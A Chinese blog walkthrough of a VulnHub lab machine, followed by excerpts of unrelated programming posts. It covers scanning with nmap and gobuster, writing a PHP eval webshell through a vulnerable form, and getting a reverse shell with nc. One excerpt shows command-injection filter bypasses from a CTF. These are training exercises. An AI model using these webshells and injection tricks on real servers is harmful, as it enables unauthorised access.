当前位置：首页 > news >正文

matrix-breakout-2-morpheus 靶机----练习攻略【仅获取shell】

news 来源：原创 2025/8/9 11:36:58

【此练习仅做到反弹shell】

1.靶机下载地址

https://download.vulnhub.com/matrix-breakout/matrix-breakout-2-morpheus.ova

2. 打开靶机，kali使用nmap扫描同C段的主机找到靶机ip

确保靶机和kali网卡均为NAT模式

先查看kali的ip

nmap 192.168.182.1/24 排除物理机、网关、kali等，可得出靶机ip为 192.168.182.162、

以及开启端口：22 ssh、80 http 、81 hosts2-ns

3. 直接通过ip访问页面发现无法ssh，以及关键词Trinity

4. kali的dirb扫描敏感目录

发现 /robots.txt文件、

以及js脚本文件： /javascript/jquery 、 /javascript/jquery/jquery

5. 访问多个目录的网址

ip/robots.txt 无任何信息

/javascript/jquery 无权限访问

/javascript/jquery/jquery 页面源代码

无有效结果，换其他方式扫描目录

6. 使用gobuster再次扫描

输入：gobuster dir -u http://192.168.182.162 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip

注意：

发现无gobuster ，kali使用apt命令进行安装：apt install gobuster。

如果无法找到软件包，请先更新apt命令：apt update。

再安装gobuster即可。

安装完成，再次执行开始的那条命令。

扫描结果，发现 /robots.txt 、 /graffiti.txt 、 /graffiti.php 三个可用文件

7.对 /graffiti.txt 、 /graffiti.php 进行访问

在 graffiti.php 页面发现输入框

8.在输入框输入123456，点击Post，发现页面显示出该内容

9. 尝试输入一句话木马

输入：<?php @eval($_POST[cmd]);?>

抓包，发现将数据提交到 graffiti.txt文件中

将message值改为一句话木马，目标文件改为shell.php文件。发行，关闭拦截。

10. 访问shell.php文件，蚁剑进行连接

11. 找到kali自带的反弹shell文件，复制内容到物理机保存为1.php

kali:

cd /usr/share/webshells/

cd php

cat php-reverse-shell.php

12. 修改ip和端口

13. 将 1.php文件通过蚁剑上传到靶机中

14.kali的nc监听6654端口，浏览器访问上传的1.php，反弹shell

监听返回了shell，输入whoami验证，成功。

此练习仅做到反弹shell。

练习结束，反弹shell可通过kali的自带反弹shell文件，上传文件并访问获取shell。

对大家能有些许帮助最好，没有的话请见谅。

再见。。。

----------------2025/3/19 21:52

matrix-breakout-2-morpheus 靶机----练习攻略【仅获取shell】

【此练习仅做到反弹shell】 1.靶机下载地址 https://download.vulnhub.com/matrix-breakout/matrix-breakout-2-morpheus.ova 2. 打开靶机，kali使用nmap扫描同C段的主机找到靶机ip 确保靶机和kali网卡均为NAT模式先查看kali的ip nmap 192.168.182.1/24 …...

编程日记 2025/8/9 11:36:58

吴恩达机器学习笔记复盘（八）多元线性回归的梯度下降

简介梯度下降是多元线性回归的主流优化方法，具有普适性和可扩展性，而标准方程法适用于特定场景。实际应用中需结合特征工程和参数调优提升模型性能。本篇不复盘参数调优。 1.多元线性回归模型多元线性回归模型假设因变量与多个自变量之间存在线性…...

编程日记 2025/8/6 15:08:58

SAP-ABAP：采购申请创建（PR）BAPI_PR_CREATE 技术指南-详解

BAPI_PR_CREATE 技术指南用途：通过 RFC 接口创建 SAP 采购申请（PR），支持自动化集成与批量处理。一、功能概览类别说明核心功能创建标准采购申请、预留转采购申请，支持多行项目及账户分配。集成场景与 MRP 系统、外…...

编程日记 2025/7/30 1:22:45

Python：单继承方法的重写

继承：让类和类之间转变为父子关系，子类默认继承父类的属性和方法单继承： class Person:def eat(self):print("eat")def sing(self):print("sing") class Girl(Person):pass#占位符，代码里面类下面不写任何东…...

编程日记 2025/7/30 17:11:32

Cursor解锁Claude Max，助力AI编程新突破！

Cursor 最新推出的 Claude Max 模型，以其卓越的性能和创新的能力，正在重新定义我们对 AI 辅助编程的认知。这款搭载 Claude3.7 大脑的超级模型，不仅具备超强智能，还凭借一系列技术突破，向传统 AI 编程工具发起了挑战。…...

编程日记 2025/8/4 5:34:31

Datawhale coze-ai-assistant 笔记4

课程地址： ‍‌‬‌‬⁠‬‌⁠‍⁠⁠⁠‬第 6 章应用 - 飞书云文档https://zxdwhda-share.feishu.cn/wiki/Gi9aw4EDTiXxcekUWebcEtmUnb4 应用 AI…...

编程日记 2025/8/5 17:20:02

【基于深度学习的验证码识别】---- part3数据加载、模型等API介绍（2）

四、模型模型的定义在机器学习和深度学习中，模型可以定义为： 一个数学函数或算法，能够从输入数据中提取特征并生成输出。通过训练过程，模型能够学习数据中的规律（如分类、回归、聚类等）。训练完成后&…...

编程日记 2025/7/13 19:52:33

留言板

书单作者：郦波《五百年来王阳明》《郦波评说曾国藩家训》《最是人间留不住》《一天一生》作者：曾仕强《论语的生活智慧》《曾仕强详解道德经道经》作者： [何勇，陈晓峰著] 《Greenplum企业应用实战》作者 Mark G. Sobel…...

编程日记 2025/8/8 8:33:00

3.18练习

BUUCTF练习day2 [GXYCTF2019]Ping Ping Ping ping题有点熟悉的命令注入，使用 127.0.0.1;ls可以得到当前目录的文件名 cat一下flag.php，发现不行过滤了空格，那我们有什么方法绕过呢 <(重定向符号)${IFS}$IFS$9%09(tab键) 试一试发现过…...

编程日记 2025/8/8 17:51:58

Redis哨兵模式-黑马学习笔记

redis哨兵模式 1.哨兵主要的作用用于监控主节点的健康情况如果主节点挂掉立马选择一个从节点顶上去 2.监控的机制如何监控呢？ sentinel基于心跳机制检测主节点的状态每个1秒向集群发送ping （三体中逻辑用来威胁三体人的心跳检测） 如…...

编程日记 2025/8/9 1:18:50

Linkreate wordpressAI插件 24小时自动生成原创图文，新增从百度、必应搜索引擎自动获取相关下拉关键词

Linkreate wordpressAI插件核心功能亮点文章生成与优化自动化文章生成：利用 AI 技术，根据关键词生成高质量文章。支持指定长度和要求，异步生成不阻塞操作。且 AI 可自动生成精准的 tag 标签，利于 SEO 优化。批量生成文章…...

编程日记 2025/8/4 9:35:10

《AI赋能云原生区块链，引领供应链溯源革新》

在数字化浪潮席卷全球的当下，供应链管理领域正经历着深刻变革。云原生区块链凭借其去中心化、不可篡改等特性，为供应链溯源带来了前所未有的透明度与可靠性。而AI的融入，更如虎添翼，以强大的智能分析和决策能力，为云原…...

编程日记 2025/8/8 5:00:02

基于单片机的多功能热水器设计(论文+源码)

1系统方案设计基于单片机的多功能热水器系统，其系统框图如图2.1所示。主要采用了DS18B20温度传感器，HC-SR04超声波模块，STC89C52单片机，液晶，继电器等来构成整个系统。硬件上主要通过温度传感器进行水温的检测&am…...

编程日记 2025/8/9 11:35:16

Java面试黄金宝典4

1. 什么是泛型 ？与 T 的区别原理泛型是 Java 编程语言中的一个强大特性，它提供了编译时类型安全检查机制，允许在定义类、接口和方法时使用类型参数。这些类型参数在使用时会被具体的类型所替代，从而实现代码的复用和类型安全。泛…...

编程日记 2025/8/6 21:04:30

vim在连续多行行首插入相同的字符

工作中经常需要用vim注释掉一段代码或者json文件中的一部分，需要在多行前面插入//或者#符号。在 Vim 中，在连续多行行首插入相同字符主要有以下两种方法： Visual Block 模式插入将光标移到要插入相同内容的第一行的行首24。按下Ctrl v进入…...

编程日记 2025/8/3 12:42:26

路径问题（greedy）：地下城游戏

题目描述： 恶魔们抓住了公主并将她关在了地下城 dungeon 的右下角。地下城是由 m x n 个房间组成的二维网格。我们英勇的骑士最初被安置在左上角的房间里，他必须穿过地下城并通过对抗恶魔来拯救公主。骑士的初始健康点数为一个正整数。如果他的健…...

编程日记 2025/8/3 11:28:59

【论文阅读】CARES：医学视觉语言模型可信度的综合基准

CARES：医学视觉语言模型可信度的综合基准 1. 研究背景与动机2. 方法论创新3. 核心实验结果4. 贡献与意义5.总结 CARES: A Comprehensive Benchmark of Trustworthiness in Medical Vision Language Models CARES：医学视觉语言模型可信度的综合基准 Accep…...

编程日记 2025/8/7 23:27:32

Qt窗口坐标体系

坐标系：以左上角为原点（0，0），X向右增加，Y向下增加对于嵌套窗口，其坐标是相对于父窗口来说的例如： 通过move方法实现...

编程日记 2025/6/28 2:37:39

显卡型号显存大小显存频率显存位宽显存带宽CUDA核心数TDP（功耗）上市年份RTX 409024GB21 Gbps384-bit1,008 GB/s16,384450W2022RTX 4080 (16GB)16GB22.4 Gbps256-bit716.8 GB/s9,728320W2022RTX 4080 (12GB)12GB21 Gbps192-bit504 GB/s7,680285W2023RTX 4…...

编程日记 2025/8/4 13:42:08

1.5.3 掌握Scala内建控制结构 - for循环

Scala的for循环功能强大，支持单重和嵌套循环。单重for循环语法为for (变量 <- 集合或数组 (条件)) {语句组}，可选筛选条件，循环变量依次取集合值。支持多种任务，如输出指定范围整数（使用Range、to、until&#xff0…...

编程日记 2025/8/6 17:19:28

10、STL中的unordered_map使用方法

一、了解 1、unordered_map(哈希) unordered_map是借用哈希表实现的关联容器。访问键值对O（1），最坏情况O（n），例如哈希冲突严重时。【n是一个哈希桶的元素数量】 unordered_map特性键值对存储&#xff…...

编程日记 2025/8/4 14:24:41

pycharm-python國際象棋遊戲代碼

嗯，用户的问题是“pycharm寫關於python國際象棋遊戲代碼”，也就是要用PyCharm来写一个Python的国际象棋游戏代码。我需要先整理一下用户提供的搜索结果，看看有什么相关的信息可以利用。首先看搜索结果中的各个网页内容。网页1主要讲的是象棋…...

编程日记 2025/8/3 4:24:06

Linux下Redis哨兵集群模式搭建（1主2从+3哨兵）

Linux下Redis哨兵集群模式搭建（1主2从3哨兵） 一、Redis哨兵模式搭建 1.安装包下载链接: https://pan.baidu.com/s/1_n2rCMi5MHX-mVkkyMo4LA 提取码: gbra 2.新建redis目录 mkdir -p /app/redis3.解压到/app/redis目录下 tar -zxvf redis-6.2.16.ta…...

编程日记 2025/8/5 1:16:41

二.使用ffmpeg对原始音频数据重采样并进行AAC编码

重采样：将音频三元组【采样率采样格式通道数】之中的任何一个或者多个值改变。一.为什么要进行重采样？ 1.原始音频数据和编码器的数据格式不一致 2.播放器要求的和获取的数据不一致 3.方便运算二.本次编码流程 1.了解自己本机麦克风参数&#x…...

编程日记 2025/8/8 15:50:21

【初学者】请介绍一下指针分析（Pointer Analysis）？

李升伟整理指针分析（Pointer Analysis） 指针分析（Pointer Analysis）是一种静态程序分析技术，用于确定程序中指针可能指向的内存位置或对象。它是编译器优化、程序验证、漏洞检测和并行化等领域的重要基础。 1. 指…...

编程日记 2025/8/3 15:13:12

【程序人生】成功人生架构图（分层模型）

文章目录 ⭐前言⭐一、根基层——价值观与使命⭐二、支柱层——健康与能量⭐三、驱动层——学习与进化⭐四、网络层——关系系统⭐五、目标层——成就与财富⭐六、顶层——意义与传承⭐外层：调节环——平衡与抗风险⭐思维导图标题详情作者JosieBook头衔CSDN博客专家…...

编程日记 2025/8/6 19:32:20

目标检测20年（一）

今天看的文献是《Object Detection in 20 Years: A Survey》，非常经典的一篇目标检测文献，希望通过这篇文章学习到目标检测的基础方法并提供一些创新思想。论文链接：1905.05055 目录一、摘要 1.1 原文 1.2 翻译二、介绍三、目标检测…...

编程日记 2025/7/28 12:26:59

SQLMesh系列教程：SQLMesh虚拟数据环境

各种工具都已将软件工程实践引入到数据工程中，但仍有差距存在，尤其是在测试和工作流等领域。SQLMesh 的目标是在这些领域开辟新的天地，解决像 dbt 这样的竞争产品尚未提供强大解决方案的难题。在这篇文章中，我将对 SQLMesh 进行简…...

编程日记 2025/8/8 16:32:15

【python小游戏】扫雷

扫雷小游戏代码。供消遣娱乐： import tkinter as tk from tkinter import messagebox import random# 游戏参数（中等难度：15x15 网格，40 颗雷） ROWS 15 COLS 15 MINES 40 CELL_SIZE 30 COLORS {default: #CCCCCC…...

编程日记 2025/8/5 18:21:35

【Linux】learning notes（4）cat、more、less、head、tail、vi、vim

文章目录 catmore 查看整个文件less 查看整个文件head 查看部分文件tail 查看部分文件vim / vi cat cat 命令在 Linux 和 Unix 系统中非常常用，它用于连接文件并打印到标准输出设备（通常是屏幕）。虽然 cat 的基本用法很简单，但它…...

编程日记 2025/8/3 5:16:06

【论文阅读】Adversarial Patch Attacks on Monocular Depth Estimation Networks

一、背景单目深度估计是CV领域一个比较热门的研究方向，但是现有的方法过度依赖于非深度特征，使得单目深度估计的模型容易受到外界的攻击，针对这一问题该论文设计了一种攻击贴图的方法，用于攻击深度学习实现的单目深度估计模型。…...

编程日记 2025/8/7 14:57:22

基于Flask的自闭症患者诊断辅助系统：助力自闭症诊断

基于Flask的自闭症患者诊断辅助系统：助力自闭症诊断的创新方案在当今社会，自闭症的早期准确诊断对于患者的治疗和康复至关重要。作为项目的第一作者，我致力于开发一款基于Web的自闭症诊断辅助系统，为这一领域贡献一份力量。本…...

编程日记 2025/8/4 8:32:39

SqlServer Sql学习随笔

环境 SqlServerSSMSC# 查询 --查询来自数据库[MyTestDb]的[dbo]的表[testTable]前1000条数据--dbo 代表数据库所有者（Database Owner），在 SQL Server 里，它是一个模式（Schema）。 --**模式（Sc…...

编程日记 2025/8/6 4:56:28

【6】组合计数学习笔记

前言关于今天发现自己连快速幂都忘记怎么写这件事这篇博客是组合计数基础，由于大部分内容都是 6 6 6 级，所以我就给整个提高级的组合数学评了 6 6 6 级。组合计数基础加法原理与乘法原理加法原理（分类计数原理）&#…...

编程日记 2025/8/4 10:22:39

功能安全实战系列06-英飞凌Tricore系列SMU详解

本文框架前言1.What?1.1SMU特性及架构1.1.1 SMU_core和SMU_stdby1.1.2 Flip-Flop机制1.1.3 RT Alarm (RecoveryTime)1.2 Alarm状态机1.3 FSP1.4 Alarm handing1.4.1 SMU_core Alarm handing1.4.2 SMU_Standby Alarm handing1.5 寄存器介绍2.How?2.1 如何排查SMU问题前言在…...

编程日记 2025/8/9 10:22:32

Python 中的集合的中高级用法

Python 中的集合（set）是一种无序且不重复的数据结构，适用于去重、成员检测和集合运算等场景。以下是集合的中级和高级用法，涵盖从基础到高级的详细操作。 1. 集合的创建与初始化 1.1 创建集合 # 空集合 empty_set = set()# 直接初始化 my_set = {1, 2,...

编程日记 2025/7/31 15:41:58

opencv初步学习——图像处理2

这一部分主要讲解如何初步地创建一个图像，以及彩色图像我们的一些基本处理方法一、创建一个灰度图像 1-1、zeros()函数 [NumPy库] 要用到这一个函数，首先我们需要调用我们的NumPy库，这一个函数的作用是可以帮助我们生成一个元素值都是0的二…...

编程日记 2025/8/5 9:07:30

传统服务部署、虚拟化部署与云原生部署资源消耗对比与优化指南

1. 三种部署方式概述 1.1 传统服务部署定义：直接运行于物理服务器或基础Linux操作系统环境，无虚拟化层隔离特点： 资源独占（CPU/内存/磁盘） 部署流程简单但扩展困难典型场景：单一业务高负载场景&…...

编程日记 2025/8/3 1:42:35

使用htool工具导出和导入Excel表

htool官网代码中用到的hool包里面的excel工具ExcelUtil 1. 引入依赖 <dependency><groupId>cn.hutool</groupId><artifactId>hutool-all</artifactId><version>5.8.25</version></dependency>&l…...

编程日记 2025/8/8 12:24:00

【Linux内核】从文件层面理解socket建立的方式（优雅的C风格多态）

内核层面理解 Socket 的创建和连接引言众所周知，Linux 下一切皆文件。无论是普通文件（如 file.txt），还是特殊文件（包括网络套接字），我们都可以以处理文件的方式来访问它们。网络套接字&…...

编程日记 2025/8/3 21:54:21

WebSocket：开启实时通信的新篇章

在当今的互联网应用中，实时交互已经成为不可或缺的一部分。无论是实时的在线聊天、股票行情更新，还是多人在线游戏，都需要一种高效的双向通信机制。而这正是 WebSocket 的用武之地。本文将带你深入了解 WebSocket，探索其工作原理…...

编程日记 2025/8/6 19:44:13

只是“更轻更薄”？不！遨游三防平板还选择“更强更韧”

当消费电子领域普遍追求“更轻更薄”的设计美学时，遨游三防平板不止于此，还选择了另一条道路——“更强更韧”。在智能制造的复杂场景中，三防平板需直面高温、油污、撞击与极端气候的考验。普通消费级平板因防护性能不足，常因环境…...

编程日记 2025/8/8 11:01:38

C++ 各种map对比

文章目录特点比较1. std::map2. std::unordered_map3. std::multimap4. std::unordered_multimap5. hash_map（SGI STL 扩展） C 示例代码代码解释特点比较 1. std::map 底层实现：基于红黑树（一种自平衡的二叉搜索树&#xff09…...

编程日记 2025/8/7 12:21:43

《量子门与AI神经元：计算世界的奇妙碰撞》

在当今科技飞速发展的时代，量子计算和人工智能作为前沿领域，正不断颠覆我们对计算和智能的认知。量子门操作和AI中的神经元计算过程，分别作为这两大领域的核心机制，看似处于不同维度，却有着千丝万缕的联系，…...

编程日记 2025/8/1 1:39:16

【Linux———生产消费模型】

并不是真的路过而已，也不是真的不会想你.............................................................................. 文章目录前言一、【生产者消费者模型的介绍】 1、【概念引入】 2、【特点—321原则】 3、【优点】二、【基于阻塞队列的生产者消费…...

编程日记 2025/8/6 15:55:07

876.链表的中间节点

题目 Python # Definition for singly-linked list. # class ListNode: # def __init__(self, val0, nextNone): # self.val val # self.next next class Solution:def middleNode(self, head: Optional[ListNode]) -> Optional[ListNode]:slow fa…...

编程日记 2025/8/5 1:09:44